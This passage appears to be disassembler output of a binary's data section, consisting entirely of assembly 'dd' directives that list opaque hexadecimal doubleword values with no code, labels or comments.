		dd 1F20A3ADh, 0E9549EF2h, 1CA59306h, 30B1EFE7h,	0DAF1AD1Ah
		dd 0A200919Ah, 0A4E7E080h, 5265DF19h, 5B04881Ah, 0C3A79E5Fh
		dd 9AF1724Ch, 2CEC836h,	2A8EFE00h, 7660235Dh, 7831C3B0h
		dd 0E17B7173h, 1C951B2Eh, 467418A6h, 65410082h,	2507081Bh
		dd 0FCDC331Dh, 0D9C081C1h, 2E48326Ah, 11B509FDh, 4620144Bh
		dd 234E0215h, 31522D7Fh, 66E6107Eh, 0DCDE0023h,	6FDB0BFDh
		dd 0C00A0BCh, 20359EADh, 1365D1FEh, 22192DF0h, 79205CA8h
		dd 0A21AE3h, 722B1529h,	30256F71h, 2EC9EA01h, 4E2FC377h
		dd 8CB57C34h, 11678B26h, 7C628513h, 33B020CAh, 0A61DDB67h
		dd 0F8A8F21h, 8914D55Ah, 9A2A87F8h, 52E47820h, 7099CF1Ah
		dd 998C3B41h, 7EA8E7AFh, 7D00687Fh, 0D15BA59Fh,	13745A60h
		dd 81EECB8h, 0CBC06440h, 217B0EA8h, 0F5910A1Fh,	0A8C33801h
		dd 50B11AABh, 34D91D9Ch, 72133B7Fh, 0BC4950E5h,	0DC9C901Ah
		dd 1BF0002Bh, 4FCCD364h, 38003688h, 0BB9A50DFh,	13B5628Fh
		dd 8C51A07h, 61CF3240h,	9A72C2A5h, 2A882518h, 0BAA400A1h
		dd 0BB4C9D4Eh, 762EDC02h, 9E6450D8h, 8A236560h,	642A2D2Ch
		dd 6521EB71h, 2B51DD4h,	0CC10A220h, 5851A56Ah, 0EE188179h
		dd 5F244EE8h, 0CB41A461h, 0EC5368D2h, 8D10D8A2h, 0B6A502E2h
		dd 0CA83FABCh, 4D820CC0h, 241E3091h, 5E1C4880h,	6798Dh
		dd 0CF70C92Dh, 71206D2Bh, 925FB201h, 0BE41AF24h, 0D858142Ch
		dd 0D2411631h, 0E671805Dh, 4972A29Fh, 819300A5h, 0FD030EB0h
		dd 2616B937h, 34DBEh, 22E2712Ch, 7E0F6738h, 4FC36CB5h
		dd 0CD1ABF7Ch, 0C1648419h, 50677F60h, 8765E910h, 0A49ED2C8h
		dd 6A4567C1h, 7C2D8BAFh, 662EF001h, 0E9FE9EE0h,	74B6F92Fh
		dd 74963910h, 0C16D780h, 39D66AAh, 2F51A671h, 2900B38Fh
		dd 6CD689ABh, 0FC347CD5h, 0A4F63F20h, 32E2DA89h, 7B7CA064h
		dd 9EE2C3Ah, 1970CAB7h,	1433B054h, 0E83381A2h, 70EBCBDh
		dd 946B9B7Dh, 0C54C017h, 1891CC83h, 0AE187F79h,	0C7088400h
		dd 33103B7Dh, 744D5CE9h, 0D72F7880h, 0A501E850h, 631D5243h
		dd 7820561Bh, 0FBF1A1h,	6FE99D29h, 0CBA4C258h, 68EF6C0Fh
		dd 0C00F60F7h, 87F44h, 17495D7Eh, 0E0D904CEh, 87FEC51Dh
		dd 473EC3C0h, 7C06CBFFh, 1880F191h, 3F0F840Eh, 45569627h
		dd 0A7E7C720h, 0CD8A0F68h, 0D82012Eh, 2EE0028Fh, 0C707999Bh
		dd 8515C9C8h, 4F541FC0h, 518E0018h, 0C062335h, 0CF29120Bh
		dd 814C2001h, 5C5D20F3h, 92011484h, 9A4FC80Ch, 67F0D7DAh
		dd 438B0140h, 0A68EFCD0h, 60D5FE84h, 5BBC944h, 7F4E7D16h
		dd 8345902h, 0EB805141h, 0A0901BB1h, 742CF7F8h,	460098FCh
		dd 1294D1A3h, 129E6DFh,	27A660D4h, 20AE9B8Ah, 52269910h
		dd 73A688Eh, 0ABDE9198h, 40C38F92h, 26BE896Ch, 0CF9024Ah
		dd 9C298BF5h, 0C4BA2284h, 0BCCB09FBh, 0B08E15Dh, 846690D6h
		dd 5448975Ah, 22D82642h, 0E224582h, 21682495h, 2E12DA06h
		dd 2492B213h, 1C4B2Ch, 68A2D1Eh, 477E122Bh, 0B5AA0779h
		dd 67DEA1DDh, 0B23ADCD6h, 38DFD750h, 9B51D41Eh,	31B7003Dh
		dd 8889AC61h, 0E31C00D0h, 75BA7B8Bh, 41771886h,	0E9771F7Fh
		dd 0D0489303h, 0D0F339ECh, 9419BEh, 13781DFFh, 483FA434h
		dd 9F83D300h, 82A8860Bh, 0B8790038h, 0D9D67E12h, 0A51EE7A6h
		dd 0CE406157h, 10DB91Bh, 3BEB0243h, 91B8B6CAh, 0A9C175E0h
		dd 0DE5AD900h, 4D45878Ch, 1A2F0155h, 5D4B9EF8h,	6ED6306Dh
		dd 0E6C7C200h, 5C3D6BFDh, 4F7EB1h, 2B64E157h, 0E8EAF4CEh
		dd 45D89201h, 6A76B395h, 65391980h, 0A862B975h,	32B78F0Fh
		dd 1AAF464h, 34F7AE49h,	0C4C821C8h, 70E000ADh, 0F4C6F029h
		dd 0CA00D91Ah, 2AD38988h, 7469EAh, 0CAA250Ah, 3136FB94h
		dd 80A77F3Ch, 536F8A5Ah, 1B0BFC8h, 0DCE9C511h, 0C047EBC1h
		dd 0ED01D1A0h, 0DF34ABD2h, 59F86286h, 52F20097h, 3690E047h
		dd 0A6481B39h, 0C861005Ch, 8BF97CBAh, 6D820018h, 7A23BE49h
		dd 41214B6h, 0BEA05Bh, 0D24742BFh, 2AFE8A97h, 46584800h
		dd 0E1CE62E7h, 890500EFh, 93D7136Dh, 3D01C084h,	0EC53ADE0h
		dd 8C406672h, 1879FDBh,	0C49A7FB6h, 34327636h, 0FF01E388h
		dd 14EA1348h, 0D8408D2Fh, 0F1FF2AAh, 6B44CF8Ch,	0AC7D3AC0h
		dd 0BB0EF021h, 327CC7h,	77428592h, 905416E7h, 0F09800EBh
		dd 6C2C2545h, 1316B400h, 0F9CE69A9h, 2820E209h,	108059B1h
		dd 0A5410Ch, 5E67A656h,	4188A1Ah, 4F2F5A4Dh, 0E0BB0030h
		dd 0C2240704h, 0D9C68FF0h, 0A840E3DFh, 80164Dh,	90F54FEEh
		dd 700B23FDh, 20F1E72h,	0E1B6D7B3h, 81BB5964h, 47B91D0h
		dd 0DE307D74h, 0E39481FDh, 94B7D42Fh, 3F7E200h,	0E40DEC7Bh
		dd 0D86B00BCh, 44B5F46h, 0C300752Fh, 0F405F116h, 3A4829A2h
		dd 5886977Eh, 60526A19h, 0B93AA47Eh, 0B2206031h, 3AA31128h
		dd 779C7557h, 984E8084h, 0E7BF27D7h, 0ECA7671Fh, 13705EC7h
		dd 0BB8DB810h, 21DA0774h, 8042E6FCh, 18D608A7h,	789FBA48h
		dd 907F8F28h, 6E9B901Eh, 410F8100h, 392D8B8h, 21EC629Ch
		dd 17D81836h, 0C400286Fh, 1BD6DA66h, 5356948h, 3806B7Fh
		dd 9E81BED3h, 0F1309B5Ch, 2459E811h, 87046A21h,	0C2C19558h
		dd 1E40F6B2h, 220FC825h, 40571699h, 0FFAB830Bh,	91A800A5h
		dd 0F688F4D5h, 0EF00A264h, 603CBDCAh, 2AD945Dh,	34960743h
		dd 3460AB6Eh, 0C30026DDh, 0E8855180h, 36694EEh,	0EB8F81F1h
		dd 43C02B5Fh, 0F83E2D91h, 31958757h, 0A00FA679h, 38EDC934h
		dd 0A0EC73EEh, 4CFB6B0h, 0DDA94BEAh, 35C8AFEh, 0C763F78Fh
		dd 6B46E07Bh, 550101B4h, 0CCAE90B9h, 0B1C230D5h, 7BCDC402h
		dd 0C0AC8633h, 41F1B4h,	0DDC54B77h, 0F5C09A5Fh,	30EB4Dh
		dd 6BC83165h, 401ADFh, 0DEE0133Ah, 48351DA6h, 5C48BD75h
		dd 717F11A8h, 0BA66CB00h, 0A493EB09h, 0C7673300h, 1B039184h
		dd 254B2426h, 0B2A70068h, 62F46B57h, 45E9C403h,	9867D973h
		dd 1537279h, 519CA87Eh,	31BF8DA3h, 0B845D80Ch, 76BC8207h
		dd 0F0FAA63Ch, 411A2C00h, 0F004E1F1h, 1DBB005Bh, 0C1053A86h
		dd 850133ECh, 18669388h, 0F3C3589Ch, 44A800F5h,	1D80EA89h
		dd 12005C2Fh, 644EDFAFh, 0BC4AFFh, 30FE8FF2h, 0F92B0AD7h
		dd 86F02C5Eh, 760601BDh, 20E28550h, 913030B6h, 0BBDF8C00h
		dd 77572C1Ch, 89B4009Ch, 1E196A64h, 8A1621C0h, 340009AEh
		dd 0DCFD8B8Ch, 4BFE0281h, 0CD98F3BFh, 8683DDC0h, 7E582714h
		dd 949900E4h, 0B32BF55Dh, 0DA410053h, 0A9B97322h, 0D80EE415h
		dd 80D3645Eh, 0F0E3CAE9h, 0AB1B00F3h, 0D474F5A5h, 500B45E8h
		dd 0A9F6DDh, 3FF8A665h,	8440011h, 0BF9AFCB5h, 6D002AA0h
		dd 0DEB0DF04h, 58F97h, 4209E229h, 4AF26A59h, 7FA1DD0Fh
		dd 0AE8B2014h, 0B8E444h, 4265718h, 94168712h, 92F6E300h
		dd 0F25C6B7Eh, 55400DCh, 0EDABF901h, 6C0E12C1h,	607D27BFh
		dd 993E192Ch, 0D17B0ADAh, 41AC4D1Fh, 7F73157Fh,	40BFD00Eh
		dd 0BB9A0874h, 27E6E7h,	8EEAD433h, 620B4D30h, 16131778h
		dd 9440C02Eh, 0F3A95F14h, 78771496h, 0B900A0ABh, 6E7D22C3h
		dd 8C004818h, 0C70F6C90h, 233E77h, 68BEE1F5h, 199D47A9h
		dd 80D89A3Dh, 0A1CA694Bh
		dd 44A8C32h, 0CD0F21D5h, 0E994C037h, 910E59A2h,	801EB697h
		dd 86719931h, 953600F0h, 0AF3C1DFBh, 0CD00BF96h, 0BEAEC541h
		dd 7785DC3h, 85D9E0F2h,	0D55EC21Ch, 0B5BA9C48h,	80980A3Fh
		dd 90047D23h, 0BE64E555h, 51140024h, 0A37F1174h, 3E2B0758h
		dd 0D25C8033h, 4ED06602h, 59C30067h, 0C15055DCh, 2000AA4Fh
		dd 782EB35Eh, 130224C8h, 4147910h, 0D3330404h, 0A7E0B944h
		dd 0D874D77Ch, 0CEBE671Dh, 8AB42180h, 12FA82h, 0EF639F94h
		dd 0CFC87535h, 5E541600h, 7C0F7833h, 32756Ch, 0FAF4C574h
		dd 0BBD4860Dh, 0D621FF00h, 0BC3E7916h, 0CEB91E1Ah, 70E463h
		dd 0D09C4DE2h, 0C2383A60h, 0C47D007Ch, 76D4C18Ch, 6EFF0031h
		dd 0A1891E28h, 42C4258h, 0D005049h, 5477E320h, 0F440098h
		dd 45F4F187h, 7407DB66h, 34E89101h, 28A11E65h, 0A75EC8h
		dd 14C173F6h, 0C6534569h, 0B8A14A7Ah, 0E0B0C8C8h, 93AC2C00h
		dd 0AE5B129Bh, 0A0860017h, 32EDC10Ah, 0B0A85FD6h, 9901D505h
		dd 0F4C4C290h, 70805D12h, 5B629480h, 0DB1DB798h, 0BBC7A188h
		dd 0B2E3F35Eh, 0EE0E803Dh, 47D200C4h, 0B49D54D9h, 92006359h
		dd 0A899D7C2h, 1D4B9638h, 8707F42Ah, 90703ECEh,	3223372Bh
		dd 5E0089FEh, 0F39A9568h, 317B46Eh, 0A9F99E88h,	0B6F92603h
		dd 0E08070D5h, 0C0004B0h, 0EDF4B152h, 984AEBFAh, 0FE9A0047h
		dd 978C21D4h, 6FF6CFD6h, 0F57ED204h, 10AC13AAh,	0C014D01Eh
		dd 53ABA904h, 5B3FF867h, 0D68B00C3h, 7B58C740h,	915A00A4h
		dd 2FA974AEh, 3939E97Dh, 0CCB885h, 6941A556h, 131914E7h
		dd 40716C6Bh, 0FE39187Ch, 15007664h, 7512C759h,	48360A0Bh
		dd 2013E396h, 1DEC05C4h, 0F608C14Fh, 190FFCABh,	0F0EDC02Ch
		dd 39D8A700h, 0B6B3CFh,	38D13691h, 163CE1AFh, 0A717F313h
		dd 807A14C2h, 3BFFBEC8h, 32CB1CADh, 0DE64821Ch,	7240814Fh
		dd 5D005A27h, 6BAF8A39h, 482C453Fh, 8C0C5054h, 12119714h
		dd 0FCA37A00h, 30E3F788h, 108767Ch, 270E6447h, 0D0E712B9h
		dd 4D001B6Ch, 9195B4A3h, 22BE4h, 0FB700503h, 7F120D59h
		dd 0DD0E0A7Eh, 409C10C7h, 698E30A1h, 74343B52h,	8A9B8680h
		dd 806DC366h, 0EC069307h, 0A4308DBEh, 7F3E90h, 7832A0Eh
		dd 0DA39C96Fh, 159CA200h, 858C92CAh, 0FCFA81h, 6EB7122Eh
		dd 1D26EA4Dh, 0F3602400h, 8BFE8225h, 8E0900CBh,	0C2E57FDAh
		dd 0B1C77A8h, 48C13C26h, 2A8497CFh, 0F3787FCh, 0DE169AF1h
		dd 120CFC60h, 2B03C2EAh, 3A09478Ch, 0AE8812FEh,	3E6A000Bh
		dd 0E4AFA739h, 0EBF75000h, 0C987D26Ch, 955E0309h, 3815A011h
		dd 80B92938h, 0AE895AFEh, 0C4264Fh, 7B6037A5h, 5152D756h
		dd 0E180F603h, 0A8F067CCh, 7684E070h, 78BA1EADh, 33ED8198h
		dd 40E79472h, 0A5A957ACh, 4FC9BF07h, 0D55A2C1Bh, 6840DC1Dh
		dd 1F9F4CFBh, 11F8006Fh, 0A063A616h, 0C8EF1A19h, 0BB008FB3h
		dd 22E22188h, 984BD178h, 99330028h, 0EBA55428h,	640027BEh
		dd 1F9B50F7h, 1E85DB4h,	0D0E06F68h, 80C35236h, 589D3A40h
		dd 234282h, 0F6694A72h,	0A60EF5A3h, 0A15A500h, 89D7E7DDh
		dd 1FB700AAh, 0FED4CB11h, 41588C81h, 22B50153h,	0E3D90E67h
		dd 7470660h, 2DDFD2D8h,	0C8FF4054h, 26E43E0Ah, 4FF4AA70h
		dd 0A1EC2C00h, 661697C7h, 6D710ED2h, 0F8EAFC6Fh, 75D8018Ch
		dd 20698786h, 0D701044Ch, 0C69281F4h, 0A3E01044h, 8C950098h
		dd 2EFA1B93h, 9401A474h, 15050982h, 0FE6075C1h,	31E6249Ah
		dd 80061F08h, 32F676D2h, 0DD39FD44h, 0FED7BC4Dh, 206220CEh
		dd 7DDAC923h, 54D60620h, 0F0528644h, 88A63000h,	7317483Fh
		dd 46FA003Bh, 7B9215F7h, 0A20EFFBAh, 8027DAE8h,	0A5EDF89Fh
		dd 569C0004h, 0DE5EC612h, 0FCEBCAE3h, 0B20772C4h, 0C7ED8046h
		dd 6AD9E36Eh, 5BC18838h, 5271002Ch, 49E98CD4h, 0E3004854h
		dd 86BBF097h, 0A0E6BC01h, 7CB17F8Ch, 57D100CDh,	0C4470423h
		dd 3400B490h, 0A7240370h, 0D076E7h, 7BCE0E39h, 0E93DE148h
		dd 97039BE4h, 0A099093h, 53B9803Ah, 1B8B1238h, 8D18029Ah
		dd 0D62195F3h, 0F3309E1Dh, 16DA00FDh, 0AACE597Ah, 6000948Ch
		dd 7E1D0221h, 500FA0F4h, 3B75A011h, 27077F7Dh, 0A0B0FE6Ah
		dd 6CE74C0Ah, 9BBEAA01h, 0E860EEC9h, 923BC8EFh,	0B501009Eh
		dd 0FE1D4FCBh, 8270870Eh, 0C6B8FF50h, 0F03B39h,	94DA9E16h
		dd 0DB5AD9h, 62E901DCh,	0E5F19912h, 0CAEF1700h,	0CF68C633h
		dd 5D7D0532h, 0AE90AF3Eh, 235637C0h, 5F7E0771h,	0D01B09D4h
		dd 443C11A4h, 0A5DA5A00h, 0C6142FADh, 0EECB0B0Bh, 5D830A31h
		dd 590677Fh, 0F400282Bh, 165C3455h, 17B1D4Eh, 23FA3A03h
		dd 0EC3759E8h, 6400DC9Dh, 383C0126h, 28732Fh, 0FA124291h
		dd 6BB3AB3Ah, 0B774B60Fh, 8EA040B0h, 0A0F99839h, 0D55BE4h
		dd 4BCDBBA9h, 0F8A3281Fh, 10D88F00h, 8348FF94h,	0F453001Bh
		dd 67BDEA15h, 16771DBCh, 8B00B7E4h, 0FE2584BFh,	4D57426h
		dd 37FF2447h, 0C0B10E9Bh, 32602789h, 0D0415466h, 29C00E9Ah
		dd 174E6Ch, 1848CC05h, 0C700AB3Ch, 0A16AEEDCh, 3BA413B1h
		dd 219F8D0Eh, 0C8FE9416h, 83916F00h, 155C131h, 3F00757Dh
		dd 7976E3CCh, 4FB89E8h,	442F7FD6h, 0B208C3E4h, 6C1B3DB0h
		dd 0CDC44801h, 740C3375h, 9BDCC0h, 0A6A90DBBh, 49F7D7C0h
		dd 0D198DA00h, 92A71AC1h, 0B5EF0085h, 0ACC44114h, 1D023F89h
		dd 0DF944A6Eh, 189EC10Ch, 8FA9C8h, 2A9AB232h, 0CF4A6A79h
		dd 13B0EC00h, 0C2D4C95h, 0ED390010h, 0B66837E2h, 2C9ADCF1h
		dd 6D119F00h, 0C3B771F6h, 24E70065h, 0D3551330h, 0C71E85A3h
		dd 59401747h, 0E8DA6EA1h, 4AC20441h, 0EC37FA5Dh, 9BAA1398h
		dd 98F3C400h, 0A0AC782Bh, 4092EDBCh, 73F6F5F6h,	0AE023C75h
		dd 0F12CBC8Ah, 0F06DC0FEh, 463601F7h, 0FB1910F3h, 0FF1680EBh
		dd 6D0CEEE1h, 0A3D701CCh, 2B5AC9E0h, 0C4F0617Eh, 0C300C166h
		dd 2372C0A7h, 162D269Eh, 2E028h, 27017C71h, 0B6A0B30Ch
		dd 0F70AFF83h, 0BCACAFA1h, 691DD500h, 1F58BA73h, 9E47AD10h
		dd 0FF6EC1F4h, 75C5CC39h, 99CD4020h, 0E201F331h, 2EC65FDAh
		dd 1DE85A73h, 0BA938BAh, 960FBC00h, 4F81ADF7h, 1F20EC00h
		dd 5C5F613Ch, 2B501E1h,	5EC5D140h, 0E384EC0Dh, 3E464E00h
		dd 0AD34FC59h, 0A56C00CEh, 151C3D5Dh, 8912A9CDh, 0F0004688h
		dd 0C6ABA17Ah, 70FCEDEBh, 73C90042h, 0E3663B1Dh, 0E10038B4h
		dd 164AD902h, 7541C07h,	4878C6B9h, 0FA80791Fh, 0BBA65833h
		dd 0B5EC9600h, 0DF68DD9Dh, 5C423E80h, 75851480h, 50AAE54Eh
		dd 4C5D5B2Ch, 8105CE00h, 58E044D1h, 0CF0075D9h,	1DE4B131h
		dd 33247B6Dh, 0D300CB47h, 422E2CE1h, 0A9DC0051h, 12500E36h
		dd 0BB180402h, 8DA91E93h, 7A1300AAh, 7832F06Eh,	3A00A233h
		dd 3992917Bh, 7F5FE6h, 3F51D15Ch, 188744D2h, 129B34FBh
		dd 0B41DBF00h, 6457EEA7h, 0A34500D4h, 0CE1310A8h, 0C3038238h
		dd 2321D8F6h, 9A419007h, 995900EDh, 0D0FBE002h,	0EB00D36Dh
		dd 5B44DD40h, 30A80C76h, 0D309D07h, 0F1003475h,	32966631h
		dd 4F8284h, 60FB610Ch, 1159C691h, 6DA00300h, 6456D696h
		dd 0CBE249h, 0E7CA2F9Ah, 0B0632B5Eh, 388FF00h, 0DFEC982Ch
		dd 362500F2h, 9BCE5B78h, 68003D14h, 0B84AEFCh, 664F5Ch
		dd 0C5EDA2A9h, 9B860174h, 8B126071h, 0C801E42Bh, 8686661h
		dd 17D2FAF0h, 5D6529h, 0E65F45BDh, 0FB1EA2B3h, 0C4F08459h
		dd 37780483h, 0C1B8099Dh
		dd 87E70C8Ch, 283A6249h, 0A02A60E3h, 994299Bh, 26F26BEBh
		dd 0E600A78Bh, 7AF4D8FBh, 5D740B03h, 0C9DF5E6h,	0DD074561h
		dd 0FA1DE778h, 0C60F0D89h, 77608001h, 7BE39283h, 7BA05F6h
		dd 258BFBh, 2812FA60h, 8251789Ch, 0D49BF84Ch, 770D5A00h
		dd 3F35D1D7h, 0B0EED6h,	9ABE6054h, 0D5C5911Bh, 6A814900h
		dd 59A46407h, 0E7A03ECh, 0D4B270BBh, 557B42C8h,	0C3308C1Dh
		dd 7F7534CFh, 864082C0h, 343D376h, 9BB75F01h, 4CF851E4h
		dd 947A1179h, 5E0D5013h, 92690000h, 9F2E703h, 16093253h
		dd 0BF2BD021h, 889A4065h, 8F008C92h, 3193DF5Fh,	2D57854h
		dd 50F40F08h, 1448476Fh, 64608748h, 6E8B0DE0h, 297E454h
		dd 261EDF45h, 0EC82F7F4h, 0B301EBBEh, 3883311Bh, 83205658h
		dd 51A7D8F0h, 9402672Ah, 0B7447E0Eh, 7C622014h,	0CAB5D0h
		dd 3AB06478h, 0E715401Fh, 1AD8C91Eh, 0F8B4630h,	0AF9B062Dh
		dd 6846C39Eh, 40F0FB1Ch, 0F1C4C0C1h, 66E04D24h,	0F9FE00ECh
		dd 0C9F49771h, 0D8A40907h, 0AE3E9B00h, 0E0DEC35Ah, 0DD5E01F2h
		dd 0CAEA6A1Fh, 8399800Bh, 87492373h, 0E1F1C05Ch, 4CE364C8h
		dd 0EB7911C0h, 1343F9h,	0BBC439D6h, 0F6C9D754h,	0CA2B2005h
		dd 98C0E6A7h, 391E4F0Eh, 0D63BF3C0h, 0A0318C8h,	627E151Bh
		dd 583940E0h, 870388EAh, 0BCFE8DEh, 2564E119h, 80AE044Eh
		dd 2ADA8FF3h, 660F0151h, 26356853h, 1AE1EFC3h, 3018BC2Ch
		dd 905331CDh, 2F623C4Ah, 0BF173A00h, 0F22BA71Fh, 0C3095703h
		dd 1346844h, 9FACD840h,	0E1BDCA12h, 0ECA710C4h,	33280FA8h
		dd 17617297h, 0D43D76F1h, 1E6F8A75h, 0EAC18099h, 60C687E0h
		dd 5934218Fh, 7030E879h, 57FB824h, 0C9D002Eh, 8AA69462h
		dd 9B1F9A81h, 0CD81DDF6h, 0C1462A17h, 0FA24B000h, 0A574EA00h
		dd 987779B5h, 0BBB100DDh, 32A15A4h, 2700BAFDh, 8D0AE738h
		dd 7C1C78B3h, 0F0490C2Dh, 0B11860D7h, 31AF835Ch, 7A0185Eh
		dd 0E2700FEh, 3C133790h, 0B8059A74h, 9C012B1Eh,	406F18C7h
		dd 0D38AB851h, 70852CC1h, 20FFF696h, 89C7C6B0h,	1D00B8A6h
		dd 0CA424E9Eh, 3E11A034h, 3500C32Bh, 24656A73h,	9A00FD50h
		dd 0AECEA22h, 79C46h, 0C0588B08h, 17F5EFBh, 4FFFF105h
		dd 0E0086FC6h, 349CD2h,	0D0EACCBBh, 90C0E56Eh, 0A9FBF8B8h
		dd 26A301A5h, 90D3B014h, 4BA88067h, 0EDEBDB88h,	0DCA5010Ah
		dd 7F2973E6h, 4407F047h, 855380A0h, 360FD103h, 8048BC68h
		dd 901B84h, 5E143B16h, 67E4754Eh, 0AF52F70Eh, 0A50B007Bh
		dd 600E93B9h, 0AA01FCB4h, 0D9F81D6Ah, 0A0664502h, 4D22921Ah
		dd 0BF614068h, 0D266D6Bh, 2709DA7Bh, 401820CDh,	129DAF44h
		dd 0BA33Ch, 82346450h, 40C16599h, 6967F047h, 21FCD092h
		dd 20C1A744h, 11CA1D8Eh, 4401CC39h, 92975C6h, 89885DDh
		dd 97432134h, 0AD404E0Fh, 36807BAh, 9FAF6780h, 0B90E0F0Bh
		dd 0D380C5DCh, 96D931Eh, 7A05B9C0h, 1CB3C301h, 9908A5AAh
		dd 80020842h, 1727621h,	0E85C6Ah, 22108EA6h, 0B27BA549h
		dd 0D41AC028h, 77A0410Ch, 1D24C033h, 8989C892h,	1CF3Fh
		dd 0C81E7419h, 0A5124A8Ch, 0C8410EFAh, 0FC9D5CCAh, 0A65C3D4h
		dd 8E9875D9h, 9306E1Ch,	0A136B439h, 33E38718h, 0C1111800h
		dd 0F6995A01h, 0C9273A3Fh, 0B3A1C850h, 8E0D0E48h, 3380A0A5h
		dd 1C473CFh, 40897512h,	3B89CC5Ch, 218A9D7h, 2FA444h, 937844C6h
		dd 0D7ADF883h, 0B3F40721h, 0C3C4A402h, 0F88E28DAh, 0AB4E4901h
		dd 171244CBh, 1EA9420h,	359015B1h, 504D4859h, 9575C0F0h
		dd 8C04FC90h, 1BE83D36h, 0D80224D0h, 66AE0014h,	0DC0AA2F5h
		dd 2375E1F3h, 3CC1E907h, 1481627Ch, 0C850306Fh,	0FADD869h
		dd 2D7E8F2Eh, 9A587400h, 0CCF29F6Ah, 1C849CA2h,	4E9D60DDh
		dd 7DC62345h, 80003511h, 0B8714E96h, 3E7336D9h,	0A675000h
		dd 375C7F63h, 0C949000Eh, 8EFC1D96h, 94A98C8Fh,	41198316h
		dd 9C13804Ah, 678360D0h, 985E4093h, 0E8228B20h,	0DA426DBh
		dd 1288206Ch, 22FF3C89h, 9930D974h, 0C641114Eh,	8037889Dh
		dd 474E925Ch, 0BE76C6FFh, 0F10B4B0Eh, 80A28AB7h, 0CDC10426h
		dd 39804E53h, 9BC219C6h, 7A005D76h, 14BC8159h, 2CA03D1Dh
		dd 6014FCD6h, 0F280AD12h, 72554A05h, 0E4244348h, 546C18C8h
		dd 3C835h, 2F0CA0F7h, 4EC2CFDDh, 0F3E7A207h, 6ED3CA24h
		dd 0A629000Fh, 608DCDE9h, 65024974h, 0C839D4AFh, 0AEB848B3h
		dd 0DC1604C5h, 98921ED0h, 10477D0h, 0A472B3C6h,	4B80F837h
		dd 821C028Fh, 5D4A01A0h, 0AA4B3B1h, 0A2C672Dh, 2C951ED2h
		dd 0C5017840h, 0A59A21B3h, 1704C60h, 0C52C3B7Bh, 941D4870h
		dd 4670A98Fh, 0BB28F0DCh, 831E00F9h, 0F26A2327h, 0F42C54C7h
		dd 6A4FFC6Dh, 7001E4C5h, 17FF8C60h, 0A8580835h,	444106C7h
		dd 380D8453h, 62903890h, 0CDB86C50h, 263A8B4Ch,	0F478C0h
		dd 0DD5032ABh, 62EED0Dh, 482F8B14h, 0F84F32A4h,	209B31DBh
		dd 6D4CC648h, 9442E0CCh, 3BBA014Eh, 0F8907933h,	0CB9F30CFh
		dd 242B3426h, 0A00DE709h, 38767308h, 0B2372454h, 0BAE26048h
		dd 0E930C735h, 97E02975h, 36460070h, 0E3899EC4h, 8D00A048h
		dd 5DD9DDEBh, 1F64824Fh, 7F43359Ah, 19C672Ah, 3FA03A8Eh
		dd 227F21F6h, 344850ECh, 71D6CB31h, 698076E8h, 0E9CC5DF4h
		dd 560F221Dh, 0BF7BD371h, 5F840D01h, 2C319E82h,	6079F180h
		dd 9F2CB1EBh, 631D8098h, 6E4AB549h, 0A70070E8h,	0F7165EC9h
		dd 9A770055h, 0C776ABDDh, 4F5D73BBh, 0FCD30968h, 1600B05h
		dd 0C1217538h, 0DCA09981h, 994776C9h, 0D7097FB9h, 35802180h
		dd 0D1DBB3F6h, 9B1693F4h, 0A820B67Ah, 26DA44CAh, 84D42AA0h
		dd 82B7FD17h, 743091B8h, 0B3C11101h, 801E887Ah,	0ED028C48h
		dd 0C4B8F866h, 90238320h, 3E04287Ch, 71E822E8h,	0FE593300h
		dd 1C557072h, 0EBA80127h, 0C5DB3EA0h, 0B39C6075h, 34203145h
		dd 6022408Fh, 0E483CF0Ah, 960F8475h, 0E87283EFh, 4590108h
		dd 8C9CDC41h, 0E7C4F4DEh, 3604C9Ah, 0DC5FCB21h,	0F708004Ch
		dd 7E412CBFh, 0A900B142h, 479993AAh, 30CE8D56h,	0AFD936F0h
		dd 43FE6CD5h, 29B59E00h, 17FB5271h, 0A883128Ah,	3D549C13h
		dd 4A8CB53h, 0C4E3E171h, 1018D480h, 702229D6h, 0DC470158h
		dd 18AE8C9Eh, 5DCD8801h, 0F56BDC00h, 2C80C37Fh,	0F4455C2Ah
		dd 39389042h, 40EC4326h, 0B8CBB1D0h, 6E98296Fh,	188A0087h
		dd 49C635C2h, 490C08C3h, 2D1415Dh, 6789A713h, 0C08F0808h
		dd 0B3DF0176h, 1C228A46h, 28E6200h, 7207C7F6h, 0D3250DA8h
		dd 33782E84h, 6438E4h, 5A473769h, 0BA4C8h, 78CA831Fh, 45DE614Eh
		dd 3F88D002h, 492AC4h, 93590125h, 68F92200h, 61A6CE0Fh
		dd 0AB1704D4h, 83419599h, 79B85CA0h, 0F528884Bh, 6D128457h
		dd 908014DAh, 48241631h, 5F23940Eh, 78C9C201h, 0DB18F947h
		dd 0C8D78689h, 0CAB0FCh, 246376EDh, 8C8B74F7h, 0AE7F8F3Fh
		dd 0AEBA846Fh, 0EE126C14h, 1B23402Fh, 0AC441000h, 29651CD4h
		dd 809802D0h, 3AEF85BEh, 0E4059243h, 16C738A8h,	0AA4C6180h
		dd 612402A3h, 8D7A550Ch, 482CD8E4h, 0DE420041h,	611042AAh
		dd 10392727h, 0FA35B400h, 0F0DACEAh, 0E6409E00h, 34E01BD6h
		dd 49C4817h, 0A4B6300Fh, 46EC9878h, 4D5AAA0Fh, 0C72766C3h
		dd 2F9E0049h, 8EA32CC5h, 0A82EA482h, 400DCE7h, 3B95E8D4h
		dd 0D133147Ch, 84C8CA6h, 84CE548h, 5A4E98C0h, 8785C6h
		dd 0DD4E9059h, 4F006EE4h, 0F2739DD8h, 59531923h, 2F05B438h
		dd 22D0ABB6h, 172FC7C4h, 0DEA92820h, 0D65818B1h, 0BEE80A4h
		dd 97FE4100h, 56C36874h, 0B93D6706h, 597C6022h,	99187660h
		dd 0E948A11Fh, 0B2C4032Ah, 0AD3412C5h, 33F419A1h, 0C008A788h
		dd 861F6167h, 1387C41Fh, 605F2479h, 0A7434200h,	26B3DDCAh
		dd 836898BBh, 3BEE2E9Ah, 0CC9088EEh, 0A0011A4Ah, 0CEDB9909h
		dd 38C9188Eh, 8AD766C0h, 50EAF935h, 1F2008B8h, 53180AA9h
		dd 3C980C28h, 2C89C85Ch, 3B5BEF81h, 0EBB1E4E5h,	0F170CF00h
		dd 0F2F09CB9h, 2E572EFFh, 33467C60h, 0B05F5A02h, 4C44B275h
		dd 1FFCC67Dh, 87F188C1h, 0A080B0D3h, 28013889h,	8C037EE1h
		dd 0F2CD3D66h, 6AA9050Ch, 12075CBAh, 4202AB88h,	4872E88Eh
		dd 0DE9090h, 3671D027h,	48B3B713h, 74AB3009h, 2F930EB4h
